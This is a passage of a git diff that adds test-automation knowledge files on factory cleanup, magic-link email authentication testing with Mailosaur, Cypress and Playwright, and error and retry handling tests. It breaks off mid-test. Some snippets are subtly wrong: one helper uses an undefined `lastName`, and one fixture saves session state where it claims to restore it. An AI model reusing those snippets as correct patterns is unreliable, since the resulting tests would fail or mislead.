+  - `test-quality.md` - Parallel-safe, deterministic test design
+
+## Cleanup Strategy
+
+Ensure factories work with cleanup patterns:
+
+```typescript
+// Track created IDs for cleanup
+const createdUsers: string[] = [];
+
+afterEach(async ({ apiRequest }) => {
+  // Clean up all users created during test
+  for (const userId of createdUsers) {
+    await apiRequest({ method: 'DELETE', url: `/api/users/${userId}` });
+  }
+  createdUsers.length = 0;
+});
+
+test('user registration flow', async ({ page, apiRequest }) => {
+  const user = createUser();
+  createdUsers.push(user.id);
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  // ... test logic
+});
+```
+
+## Feature Flag Integration
+
+When working with feature flags, layer them into factories:
+
+```typescript
+export const createUserWithFlags = (
+  overrides: Partial<User> = {},
+  flags: Record<string, boolean> = {},
+): User & { flags: Record<string, boolean> } => ({
+  ...createUser(overrides),
+  flags: {
+    'new-dashboard': false,
+    'beta-features': false,
+    ...flags,
+  },
+});
+
+// Usage:
+const user = createUserWithFlags(
+  { email: 'test@example.com' },
+  {
+    'new-dashboard': true,
+    'beta-features': true,
+  },
+);
+```
+
+_Source: Murat Testing Philosophy (lines 94-120), API-first testing patterns, faker.js documentation._
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/email-auth.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/email-auth.md
new file mode 100644
index 0000000..653a8eb
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/email-auth.md
@@ -0,0 +1,721 @@
+# Email-Based Authentication Testing
+
+## Principle
+
+Email-based authentication (magic links, one-time codes, passwordless login) requires specialized testing with email capture services like Mailosaur or Ethereal. Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts.
+
+## Rationale
+
+Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state). Using email capture services + session caching + state preservation patterns makes email auth tests fast, reliable, and cost-effective.
+
+## Pattern Examples
+
+### Example 1: Magic Link Extraction with Mailosaur
+
+**Context**: Passwordless login flow where user receives magic link via email, clicks it, and is authenticated.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/magic-link-auth.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Magic Link Authentication Flow
+ * 1. User enters email
+ * 2. Backend sends magic link
+ * 3. Test retrieves email via Mailosaur
+ * 4. Extract and visit magic link
+ * 5. Verify user is authenticated
+ */
+
+// Mailosaur configuration
+const MAILOSAUR_API_KEY = process.env.MAILOSAUR_API_KEY!;
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+/**
+ * Extract href from HTML email body
+ * DOMParser provides XML/HTML parsing in Node.js
+ */
+function extractMagicLink(htmlString: string): string | null {
+  const { JSDOM } = require('jsdom');
+  const dom = new JSDOM(htmlString);
+  const link = dom.window.document.querySelector('#magic-link-button');
+  return link ? (link as HTMLAnchorElement).href : null;
+}
+
+/**
+ * Alternative: Use Mailosaur's built-in link extraction
+ * Mailosaur automatically parses links - no regex needed!
+ */
+async function getMagicLinkFromEmail(email: string): Promise<string> {
+  const MailosaurClient = require('mailosaur');
+  const mailosaur = new MailosaurClient(MAILOSAUR_API_KEY);
+
+  // Wait for email (timeout: 30 seconds)
+  const message = await mailosaur.messages.get(
+    MAILOSAUR_SERVER_ID,
+    {
+      sentTo: email,
+    },
+    {
+      timeout: 30000, // 30 seconds
+    },
+  );
+
+  // Mailosaur extracts links automatically - no parsing needed!
+  const magicLink = message.html?.links?.[0]?.href;
+
+  if (!magicLink) {
+    throw new Error(`Magic link not found in email to ${email}`);
+  }
+
+  console.log(`📧 Email received. Magic link extracted: ${magicLink}`);
+  return magicLink;
+}
+
+test.describe('Magic Link Authentication', () => {
+  test('should authenticate user via magic link', async ({ page, context }) => {
+    // Arrange: Generate unique test email
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Act: Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Assert: Success message
+    await expect(page.getByTestId('check-email-message')).toBeVisible();
+    await expect(page.getByTestId('check-email-message')).toContainText('Check your email');
+
+    // Retrieve magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit magic link
+    await page.goto(magicLink);
+
+    // Assert: User is authenticated
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+    await expect(page.getByTestId('user-email')).toContainText(testEmail);
+
+    // Verify session storage preserved
+    const localStorage = await page.evaluate(() => JSON.stringify(window.localStorage));
+    expect(localStorage).toContain('authToken');
+  });
+
+  test('should handle expired magic link', async ({ page }) => {
+    // Use pre-expired link (older than 15 minutes)
+    const expiredLink = 'http://localhost:3000/auth/verify?token=expired-token-123';
+
+    await page.goto(expiredLink);
+
+    // Assert: Error message displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has expired');
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should prevent reusing magic link', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link first time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('sign-out').click();
+
+    // Try to reuse same link (should fail)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has already been used');
+  });
+});
+```
+
+**Cypress equivalent with Mailosaur plugin**:
+
+```javascript
+// cypress/e2e/magic-link-auth.cy.ts
+describe('Magic Link Authentication', () => {
+  it('should authenticate user via magic link', () => {
+    const serverId = Cypress.env('MAILOSAUR_SERVERID');
+    const randomId = Cypress._.random(1e6);
+    const testEmail = `user-${randomId}@${serverId}.mailosaur.net`;
+
+    // Request magic link
+    cy.visit('/login');
+    cy.get('[data-cy="email-input"]').type(testEmail);
+    cy.get('[data-cy="send-magic-link"]').click();
+    cy.get('[data-cy="check-email-message"]').should('be.visible');
+
+    // Retrieve and visit magic link
+    cy.mailosaurGetMessage(serverId, { sentTo: testEmail })
+      .its('html.links.0.href') // Mailosaur extracts links automatically!
+      .should('exist')
+      .then((magicLink) => {
+        cy.log(`Magic link: ${magicLink}`);
+        cy.visit(magicLink);
+      });
+
+    // Verify authenticated
+    cy.get('[data-cy="user-menu"]').should('be.visible');
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+});
+```
+
+**Key Points**:
+
+- **Mailosaur auto-extraction**: `html.links[0].href` or `html.codes[0].value`
+- **Unique emails**: Random ID prevents collisions
+- **Negative testing**: Expired and reused links tested
+- **State verification**: localStorage/session checked
+- **Fast email retrieval**: 30 second timeout typical
+
+---
+
+### Example 2: State Preservation Pattern with cy.session / Playwright storageState
+
+**Context**: Cache authenticated session to avoid requesting magic link on every test.
+
+**Implementation**:
+
+```typescript
+// playwright/fixtures/email-auth-fixture.ts
+import { test as base } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+type EmailAuthFixture = {
+  authenticatedUser: { email: string; token: string };
+};
+
+export const test = base.extend<EmailAuthFixture>({
+  authenticatedUser: async ({ page, context }, use) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${process.env.MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Check if we have cached auth state for this email
+    const storageStatePath = `./test-results/auth-state-${testEmail}.json`;
+
+    try {
+      // Try to reuse existing session
+      await context.storageState({ path: storageStatePath });
+      await page.goto('/dashboard');
+
+      // Validate session is still valid
+      const isAuthenticated = await page.getByTestId('user-menu').isVisible({ timeout: 2000 });
+
+      if (isAuthenticated) {
+        console.log(`✅ Reusing cached session for ${testEmail}`);
+        await use({ email: testEmail, token: 'cached' });
+        return;
+      }
+    } catch (error) {
+      console.log(`📧 No cached session, requesting magic link for ${testEmail}`);
+    }
+
+    // Request new magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Get magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link and authenticate
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Extract auth token from localStorage
+    const authToken = await page.evaluate(() => localStorage.getItem('authToken'));
+
+    // Save session state for reuse
+    await context.storageState({ path: storageStatePath });
+
+    console.log(`💾 Cached session for ${testEmail}`);
+
+    await use({ email: testEmail, token: authToken || '' });
+  },
+});
+```
+
+**Cypress equivalent with cy.session + data-session**:
+
+```javascript
+// cypress/support/commands/email-auth.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Authenticate via magic link with session caching
+ * - First run: Requests email, extracts link, authenticates
+ * - Subsequent runs: Reuses cached session (no email)
+ */
+Cypress.Commands.add('authViaMagicLink', (email) => {
+  return dataSession({
+    name: `magic-link-${email}`,
+
+    // First-time setup: Request and process magic link
+    setup: () => {
+      cy.visit('/login');
+      cy.get('[data-cy="email-input"]').type(email);
+      cy.get('[data-cy="send-magic-link"]').click();
+
+      // Get magic link from Mailosaur
+      cy.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), {
+        sentTo: email,
+      })
+        .its('html.links.0.href')
+        .should('exist')
+        .then((magicLink) => {
+          cy.visit(magicLink);
+        });
+
+      // Wait for authentication
+      cy.get('[data-cy="user-menu"]', { timeout: 10000 }).should('be.visible');
+
+      // Preserve authentication state
+      return cy.getAllLocalStorage().then((storage) => {
+        return { storage, email };
+      });
+    },
+
+    // Validate cached session is still valid
+    validate: (cached) => {
+      return cy.wrap(Boolean(cached?.storage));
+    },
+
+    // Recreate session from cache (no email needed)
+    recreate: (cached) => {
+      // Restore localStorage
+      cy.setLocalStorage(cached.storage);
+      cy.visit('/dashboard');
+      cy.get('[data-cy="user-menu"]', { timeout: 5000 }).should('be.visible');
+    },
+
+    shareAcrossSpecs: true, // Share session across all tests
+  });
+});
+```
+
+**Usage in tests**:
+
+```javascript
+// cypress/e2e/dashboard.cy.ts
+describe('Dashboard', () => {
+  const serverId = Cypress.env('MAILOSAUR_SERVERID');
+  const testEmail = `test-user@${serverId}.mailosaur.net`;
+
+  beforeEach(() => {
+    // First test: Requests magic link
+    // Subsequent tests: Reuses cached session (no email!)
+    cy.authViaMagicLink(testEmail);
+  });
+
+  it('should display user dashboard', () => {
+    cy.get('[data-cy="dashboard-content"]').should('be.visible');
+  });
+
+  it('should show user profile', () => {
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+
+  // Both tests share same session - only 1 email consumed!
+});
+```
+
+**Key Points**:
+
+- **Session caching**: First test requests email, rest reuse session
+- **State preservation**: localStorage/cookies saved and restored
+- **Validation**: Check cached session is still valid
+- **Quota optimization**: Massive reduction in email consumption
+- **Fast tests**: Cached auth takes seconds vs. minutes
+
+---
+
+### Example 3: Negative Flow Tests (Expired, Invalid, Reused Links)
+
+**Context**: Comprehensive negative testing for email authentication edge cases.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/email-auth-negative.spec.ts
+import { test, expect } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+test.describe('Email Auth Negative Flows', () => {
+  test('should reject expired magic link', async ({ page }) => {
+    // Generate expired link (simulate 24 hours ago)
+    const expiredToken = Buffer.from(
+      JSON.stringify({
+        email: 'test@example.com',
+        exp: Date.now() - 24 * 60 * 60 * 1000, // 24 hours ago
+      }),
+    ).toString('base64');
+
+    const expiredLink = `http://localhost:3000/auth/verify?token=${expiredToken}`;
+
+    // Visit expired link
+    await page.goto(expiredLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/link.*expired|expired.*link/i);
+
+    // Assert: Link to request new one
+    await expect(page.getByTestId('request-new-link')).toBeVisible();
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject invalid magic link token', async ({ page }) => {
+    const invalidLink = 'http://localhost:3000/auth/verify?token=invalid-garbage';
+
+    await page.goto(invalidLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/invalid.*link|link.*invalid/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject already-used magic link', async ({ page, context }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link FIRST time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('user-menu').click();
+    await page.getByTestId('sign-out').click();
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+
+    // Try to reuse SAME link (should fail)
+    await page.goto(magicLink);
+
+    // Assert: Link already used error
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/already.*used|link.*used/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should handle rapid successive link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 3 times rapidly
+    for (let i = 0; i < 3; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+      await expect(page.getByTestId('check-email-message')).toBeVisible();
+    }
+
+    // Only the LATEST link should work
+    const MailosaurClient = require('mailosaur');
+    const mailosaur = new MailosaurClient(process.env.MAILOSAUR_API_KEY);
+
+    const messages = await mailosaur.messages.list(MAILOSAUR_SERVER_ID, {
+      sentTo: testEmail,
+    });
+
+    // Should receive 3 emails
+    expect(messages.items.length).toBeGreaterThanOrEqual(3);
+
+    // Get the LATEST magic link
+    const latestMessage = messages.items[0]; // Most recent first
+    const latestLink = latestMessage.html.links[0].href;
+
+    // Latest link works
+    await page.goto(latestLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Older links should NOT work (if backend invalidates previous)
+    await page.getByTestId('sign-out').click();
+    const olderLink = messages.items[1].html.links[0].href;
+
+    await page.goto(olderLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+  });
+
+  test('should rate-limit excessive magic link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 10 times rapidly (should hit rate limit)
+    for (let i = 0; i < 10; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+
+      // After N requests, should show rate limit error
+      const errorVisible = await page
+        .getByTestId('rate-limit-error')
+        .isVisible({ timeout: 1000 })
+        .catch(() => false);
+
+      if (errorVisible) {
+        console.log(`Rate limit hit after ${i + 1} requests`);
+        await expect(page.getByTestId('rate-limit-error')).toContainText(/too many.*requests|rate.*limit/i);
+        return;
+      }
+    }
+
+    // If no rate limit after 10 requests, log warning
+    console.warn('⚠️  No rate limit detected after 10 requests');
+  });
+});
+```
+
+**Key Points**:
+
+- **Expired links**: Test 24+ hour old tokens
+- **Invalid tokens**: Malformed or garbage tokens rejected
+- **Reuse prevention**: Same link can't be used twice
+- **Rapid requests**: Multiple requests handled gracefully
+- **Rate limiting**: Excessive requests blocked
+
+---
+
+### Example 4: Caching Strategy with cypress-data-session / Playwright Projects
+
+**Context**: Minimize email consumption by sharing authentication state across tests and specs.
+
+**Implementation**:
+
+```javascript
+// cypress/support/commands/register-and-sign-in.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Email Authentication Caching Strategy
+ * - One email per test run (not per spec, not per test)
+ * - First spec: Full registration flow (form → email → code → sign in)
+ * - Subsequent specs: Only sign in (reuse user)
+ * - Subsequent tests in same spec: Session already active (no sign in)
+ */
+
+// Helper: Fill registration form
+function fillRegistrationForm({ fullName, userName, email, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Register').click();
+  cy.get('#reg-dialog-form').should('be.visible');
+  cy.get('#first-name').type(fullName, { delay: 0 });
+  cy.get('#last-name').type(lastName, { delay: 0 });
+  cy.get('#email').type(email, { delay: 0 });
+  cy.get('#username').type(userName, { delay: 0 });
+  cy.get('#password').type(password, { delay: 0 });
+  cy.contains('button', 'Create an account').click();
+  cy.wait('@cognito').its('response.statusCode').should('equal', 200);
+}
+
+// Helper: Confirm registration with email code
+function confirmRegistration(email) {
+  return cy
+    .mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), { sentTo: email })
+    .its('html.codes.0.value') // Mailosaur auto-extracts codes!
+    .then((code) => {
+      cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+      cy.get('#verification-code').type(code, { delay: 0 });
+      cy.contains('button', 'Confirm registration').click();
+      cy.wait('@cognito');
+      cy.contains('You are now registered!').should('be.visible');
+      cy.contains('button', /ok/i).click();
+      return cy.wrap(code); // Return code for reference
+    });
+}
+
+// Helper: Full registration (form + email)
+function register({ fullName, userName, email, password }) {
+  fillRegistrationForm({ fullName, userName, email, password });
+  return confirmRegistration(email);
+}
+
+// Helper: Sign in
+function signIn({ userName, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Sign in').click();
+  cy.get('#sign-in-username').type(userName, { delay: 0 });
+  cy.get('#sign-in-password').type(password, { delay: 0 });
+  cy.contains('button', 'Sign in').click();
+  cy.wait('@cognito');
+  cy.contains('Sign out').should('be.visible');
+}
+
+/**
+ * Register and sign in with email caching
+ * ONE EMAIL PER MACHINE (cypress run or cypress open)
+ */
+Cypress.Commands.add('registerAndSignIn', ({ fullName, userName, email, password }) => {
+  return dataSession({
+    name: email, // Unique session per email
+
+    // First time: Full registration (form → email → code)
+    init: () => register({ fullName, userName, email, password }),
+
+    // Subsequent specs: Just check email exists (code already used)
+    setup: () => confirmRegistration(email),
+
+    // Always runs after init/setup: Sign in
+    recreate: () => signIn({ userName, password }),
+
+    // Share across ALL specs (one email for entire test run)
+    shareAcrossSpecs: true,
+  });
+});
+```
+
+**Usage across multiple specs**:
+
+```javascript
+// cypress/e2e/place-order.cy.ts
+describe('Place Order', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'), // From cypress.config
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email across all specs
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should place order', () => {
+    /* ... */
+  });
+  it('should view order history', () => {
+    /* ... */
+  });
+});
+
+// cypress/e2e/profile.cy.ts
+describe('User Profile', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'),
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email - no new email sent!
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should update profile', () => {
+    /* ... */
+  });
+});
+```
+
+**Playwright equivalent with storageState**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+    {
+      name: 'authenticated',
+      testMatch: /.*\.spec\.ts/,
+      dependencies: ['setup'],
+      use: {
+        storageState: '.auth/user-session.json', // Reuse auth state
+      },
+    },
+  ],
+});
+```
+
+```typescript
+// tests/global-setup.ts (runs once)
+import { test as setup } from '@playwright/test';
+import { getMagicLinkFromEmail } from './support/mailosaur-helpers';
+
+const authFile = '.auth/user-session.json';
+
+setup('authenticate via magic link', async ({ page }) => {
+  const testEmail = process.env.TEST_USER_EMAIL!;
+
+  // Request magic link
+  await page.goto('/login');
+  await page.getByTestId('email-input').fill(testEmail);
+  await page.getByTestId('send-magic-link').click();
+
+  // Get and visit magic link
+  const magicLink = await getMagicLinkFromEmail(testEmail);
+  await page.goto(magicLink);
+
+  // Verify authenticated
+  await expect(page.getByTestId('user-menu')).toBeVisible();
+
+  // Save authenticated state (ONE TIME for all tests)
+  await page.context().storageState({ path: authFile });
+
+  console.log('✅ Authentication state saved to', authFile);
+});
+```
+
+**Key Points**:
+
+- **One email per run**: Global setup authenticates once
+- **State reuse**: All tests use cached storageState
+- **cypress-data-session**: Intelligently manages cache lifecycle
+- **shareAcrossSpecs**: Session shared across all spec files
+- **Massive savings**: 500 tests = 1 email (not 500!)
+
+---
+
+## Email Authentication Testing Checklist
+
+Before implementing email auth tests, verify:
+
+- [ ] **Email service**: Mailosaur/Ethereal/MailHog configured with API keys
+- [ ] **Link extraction**: Use built-in parsing (html.links[0].href) over regex
+- [ ] **State preservation**: localStorage/session/cookies saved and restored
+- [ ] **Session caching**: cypress-data-session or storageState prevents redundant emails
+- [ ] **Negative flows**: Expired, invalid, reused, rapid requests tested
+- [ ] **Quota awareness**: One email per run (not per test)
+- [ ] **PII scrubbing**: Email IDs logged for debug, but scrubbed from artifacts
+- [ ] **Timeout handling**: 30 second email retrieval timeout configured
+
+## Integration Points
+
+- Used in workflows: `*framework` (email auth setup), `*automate` (email auth test generation)
+- Related fragments: `fixture-architecture.md`, `test-quality.md`
+- Email services: Mailosaur (recommended), Ethereal (free), MailHog (self-hosted)
+- Plugins: cypress-mailosaur, cypress-data-session
+
+_Source: Email authentication blog, Murat testing toolkit, Mailosaur documentation_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/error-handling.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/error-handling.md
new file mode 100644
index 0000000..32de3d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/error-handling.md
@@ -0,0 +1,725 @@
+# Error Handling and Resilience Checks
+
+## Principle
+
+Treat expected failures explicitly: intercept network errors, assert UI fallbacks (error messages visible, retries triggered), and use scoped exception handling to ignore known errors while catching regressions. Test retry/backoff logic by forcing sequential failures (500 → timeout → success) and validate telemetry logging. Log captured errors with context (request payload, user/session) but redact secrets to keep artifacts safe for sharing.
+
+## Rationale
+
+Tests fail for two reasons: genuine bugs or poor error handling in the test itself. Without explicit error handling patterns, tests become noisy (uncaught exceptions cause false failures) or silent (swallowing all errors hides real bugs). Scoped exception handling (Cypress.on('uncaught:exception'), page.on('pageerror')) allows tests to ignore documented, expected errors while surfacing unexpected ones. Resilience testing (retry logic, graceful degradation) ensures applications handle failures gracefully in production.
+
+## Pattern Examples
+
+### Example 1: Scoped Exception Handling (Expected Errors Only)
+
+**Context**: Handle known errors (Network failures, expected 500s) without masking unexpected bugs.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/error-handling.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Scoped Error Handling Pattern
+ * - Only ignore specific, documented errors
+ * - Rethrow everything else to catch regressions
+ * - Validate error UI and user experience
+ */
+
+test.describe('API Error Handling', () => {
+  test('should display error message when API returns 500', async ({ page }) => {
+    // Scope error handling to THIS test only
+    const consoleErrors: string[] = [];
+    page.on('pageerror', (error) => {
+      // Only swallow documented NetworkError
+      if (error.message.includes('NetworkError: Failed to fetch')) {
+        consoleErrors.push(error.message);
+        return; // Swallow this specific error
+      }
+      // Rethrow all other errors (catch regressions!)
+      throw error;
+    });
+
+    // Arrange: Mock 500 error response
+    await page.route('**/api/users', (route) =>
+      route.fulfill({
+        status: 500,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+        }),
+      }),
+    );
+
+    // Act: Navigate to page that fetches users
+    await page.goto('/dashboard');
+
+    // Assert: Error UI displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/error.*loading|failed.*load/i);
+
+    // Assert: Retry button visible
+    await expect(page.getByTestId('retry-button')).toBeVisible();
+
+    // Assert: NetworkError was thrown and caught
+    expect(consoleErrors).toContainEqual(expect.stringContaining('NetworkError'));
+  });
+
+  test('should NOT swallow unexpected errors', async ({ page }) => {
+    let unexpectedError: Error | null = null;
+
+    page.on('pageerror', (error) => {
+      // Capture but don't swallow - test should fail
+      unexpectedError = error;
+      throw error;
+    });
+
+    // Arrange: App has JavaScript error (bug)
+    await page.addInitScript(() => {
+      // Simulate bug in app code
+      (window as any).buggyFunction = () => {
+        throw new Error('UNEXPECTED BUG: undefined is not a function');
+      };
+    });
+
+    await page.goto('/dashboard');
+
+    // Trigger buggy function
+    await page.evaluate(() => (window as any).buggyFunction());
+
+    // Assert: Test fails because unexpected error was NOT swallowed
+    expect(unexpectedError).not.toBeNull();
+    expect(unexpectedError?.message).toContain('UNEXPECTED BUG');
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/error-handling.cy.ts
+describe('API Error Handling', () => {
+  it('should display error message when API returns 500', () => {
+    // Scoped to this test only
+    cy.on('uncaught:exception', (err) => {
+      // Only swallow documented NetworkError
+      if (err.message.includes('NetworkError')) {
+        return false; // Prevent test failure
+      }
+      // All other errors fail the test
+      return true;
+    });
+
+    // Arrange: Mock 500 error
+    cy.intercept('GET', '**/api/users', {
+      statusCode: 500,
+      body: {
+        error: 'Internal server error',
+        code: 'INTERNAL_ERROR',
+      },
+    }).as('getUsers');
+
+    // Act
+    cy.visit('/dashboard');
+    cy.wait('@getUsers');
+
+    // Assert: Error UI
+    cy.get('[data-cy="error-message"]').should('be.visible');
+    cy.get('[data-cy="error-message"]').should('contain', 'error loading');
+    cy.get('[data-cy="retry-button"]').should('be.visible');
+  });
+
+  it('should NOT swallow unexpected errors', () => {
+    // No exception handler - test should fail on unexpected errors
+
+    cy.visit('/dashboard');
+
+    // Trigger unexpected error
+    cy.window().then((win) => {
+      // This should fail the test
+      win.eval('throw new Error("UNEXPECTED BUG")');
+    });
+
+    // Test fails (as expected) - validates error detection works
+  });
+});
+```
+
+**Key Points**:
+
+- **Scoped handling**: page.on() / cy.on() scoped to specific tests
+- **Explicit allow-list**: Only ignore documented errors
+- **Rethrow unexpected**: Catch regressions by failing on unknown errors
+- **Error UI validation**: Assert user sees error message
+- **Logging**: Capture errors for debugging, don't swallow silently
+
+---
+
+### Example 2: Retry Validation Pattern (Network Resilience)
+
+**Context**: Test that retry/backoff logic works correctly for transient failures.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/retry-resilience.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Retry Validation Pattern
+ * - Force sequential failures (500 → 500 → 200)
+ * - Validate retry attempts and backoff timing
+ * - Assert telemetry captures retry events
+ */
+
+test.describe('Network Retry Logic', () => {
+  test('should retry on 500 error and succeed', async ({ page }) => {
+    let attemptCount = 0;
+    const attemptTimestamps: number[] = [];
+
+    // Mock API: Fail twice, succeed on third attempt
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      attemptTimestamps.push(Date.now());
+
+      if (attemptCount <= 2) {
+        // First 2 attempts: 500 error
+        route.fulfill({
+          status: 500,
+          body: JSON.stringify({ error: 'Server error' }),
+        });
+      } else {
+        // 3rd attempt: Success
+        route.fulfill({
+          status: 200,
+          contentType: 'application/json',
+          body: JSON.stringify({ products: [{ id: 1, name: 'Product 1' }] }),
+        });
+      }
+    });
+
+    // Act: Navigate (should retry automatically)
+    await page.goto('/products');
+
+    // Assert: Data eventually loads after retries
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByTestId('product-item')).toHaveCount(1);
+
+    // Assert: Exactly 3 attempts made
+    expect(attemptCount).toBe(3);
+
+    // Assert: Exponential backoff timing (1s → 2s between attempts)
+    if (attemptTimestamps.length === 3) {
+      const delay1 = attemptTimestamps[1] - attemptTimestamps[0];
+      const delay2 = attemptTimestamps[2] - attemptTimestamps[1];
+
+      expect(delay1).toBeGreaterThanOrEqual(900); // ~1 second
+      expect(delay1).toBeLessThan(1200);
+      expect(delay2).toBeGreaterThanOrEqual(1900); // ~2 seconds
+      expect(delay2).toBeLessThan(2200);
+    }
+
+    // Assert: Telemetry logged retry events
+    const telemetryEvents = await page.evaluate(() => (window as any).__TELEMETRY_EVENTS__ || []);
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 1,
+        endpoint: '/api/products',
+      }),
+    );
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 2,
+      }),
+    );
+  });
+
+  test('should give up after max retries and show error', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: Always fail (test retry limit)
